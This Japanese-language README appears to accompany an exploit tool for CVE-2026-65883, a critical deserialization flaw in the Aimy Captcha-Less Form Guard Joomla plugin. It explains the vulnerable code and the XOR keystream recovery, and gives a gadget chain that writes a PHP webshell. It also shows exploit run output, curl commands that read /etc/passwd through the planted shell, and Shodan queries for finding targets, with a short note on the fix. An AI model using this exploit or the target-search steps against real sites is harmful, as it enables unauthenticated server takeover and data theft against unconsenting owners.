
Aimy Captcha-Less Form Guard Joomlaコンポーネント PHPオブジェクトインジェクションRCE。clfgd XORキーストリーム復元 + unserialize()。CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1
Joomla用Aimy Captcha-Less Form Guardにおける認証なしPHPオブジェクトインジェクション。onCheckAnswer()メソッドは、攻撃者が制御するclfgd POSTフィールドをbase64デコードし、繰り返しキーXORを適用して、その結果を直接unserialize()に渡します — HMACなし、allowed_classes制限なし、整合性チェックなしです。
| ステータス | バージョン |
|---|---|
| 脆弱性あり | 18.0 — 20.0 |
| 修正済み | 20.1 (2026年7月29日) |
plg_captcha_aimycaptchalessformguard内のonCheckAnswer()メソッドは、攻撃者が制御する入力を直接unserialize()に渡します:
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
$cld = @unserialize(
XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
);
}
XOR「暗号化」は、セッションごとのキーを使用したヴィジュネル暗号です — 認証はなく、難読化のみです。
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
$ekey = str_split(self::getHashedKey($key)); // sha512.sha256.sha1 = 232 hex
$s = str_split(strVal($bytes));
$klen = count($ekey);
for ($i = 0; $i < count($s); $i++) {
$val .= $s[$i] ^ $ekey[$i % ($klen - 1)]; // period 231
}
return $val;
}
このプラグインは暗号文と平文の両方を同じHTMLレスポンス内に出力します:
// onDisplay()
$cld->trap_ids = array($id, $trap_id); // readable from HTML
$cld->mt = time() + 7; // known (server time + 7s)
$html .= '<input name="clfgd" value="'
. base64_encode(XorHelper::crypt(serialize($cld), $key))
. '" />';
trap_ids(<span id="..._mark">とハニーポット入力から抽出可能)と暗号文の両方がHTML内に存在するため、これらをXORすることで231バイトのキーストリームのうち約94バイトが復元されます。
clfgd暗号文とtrap_ids、タイミングを抽出 → 94バイトのキーストリームを復元FormattedtextLoggerシリアライズオブジェクトを整列clfgdをPOST → unserialize() → __destruct() → formatLine() → PHPウェブシェルを書き込み/random.php?c=idにGET → www-dataとしてRCE$ python cve_2026_65883.py -t target.com
Target : target.com
Status : Aimy Captcha-Less Form Guard v20.0
Form : /index.php?option=com_users&view=registration
Keystream : 94 bytes recovered
Shell : a1b2c3d4e5.php
Gadget : 1460 bytes
POST : HTTP 303
Shell URL : https://target.com/a1b2c3d4e5.php
RCE : CONFIRMED!
RCE ACHIEVED!
https://target.com/a1b2c3d4e5.php?c=id
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
| grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin
# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"
# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"
# Plugin version disclosure
body="aimycaptchalessformguard"
# Shodan
http.html:"clfgd" http.component:"Joomla"
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
json_decode()はPHPオブジェクトをインスタンス化できません — POPガジェットチェーンが切断されます。
このツールは教育目的および許可を得たセキュリティテスト専用です。自分が所有するシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。
Aimy ExtensionsおよびVulnCheckとは提携していません。
| フィールド | 詳細 |
|---|
| CVE | CVE-2026-65883 |
| 製品 | Aimy Captcha-Less Form Guard (Joomlaプラグイン) |
| CVSS 4.0 | 10.0 (Critical) |
| タイプ | CWE-502 — 信頼できないデータのデシリアライゼーション |
| 影響を受けるバージョン | 18.0 — 20.0 |
| 修正済みバージョン | 20.1 (2026年7月29日) |
| 発見者 | Valentin Lobstein (Chocapikk) / VulnCheck — 2026年7月26日 |
| リソース | リンク |
|---|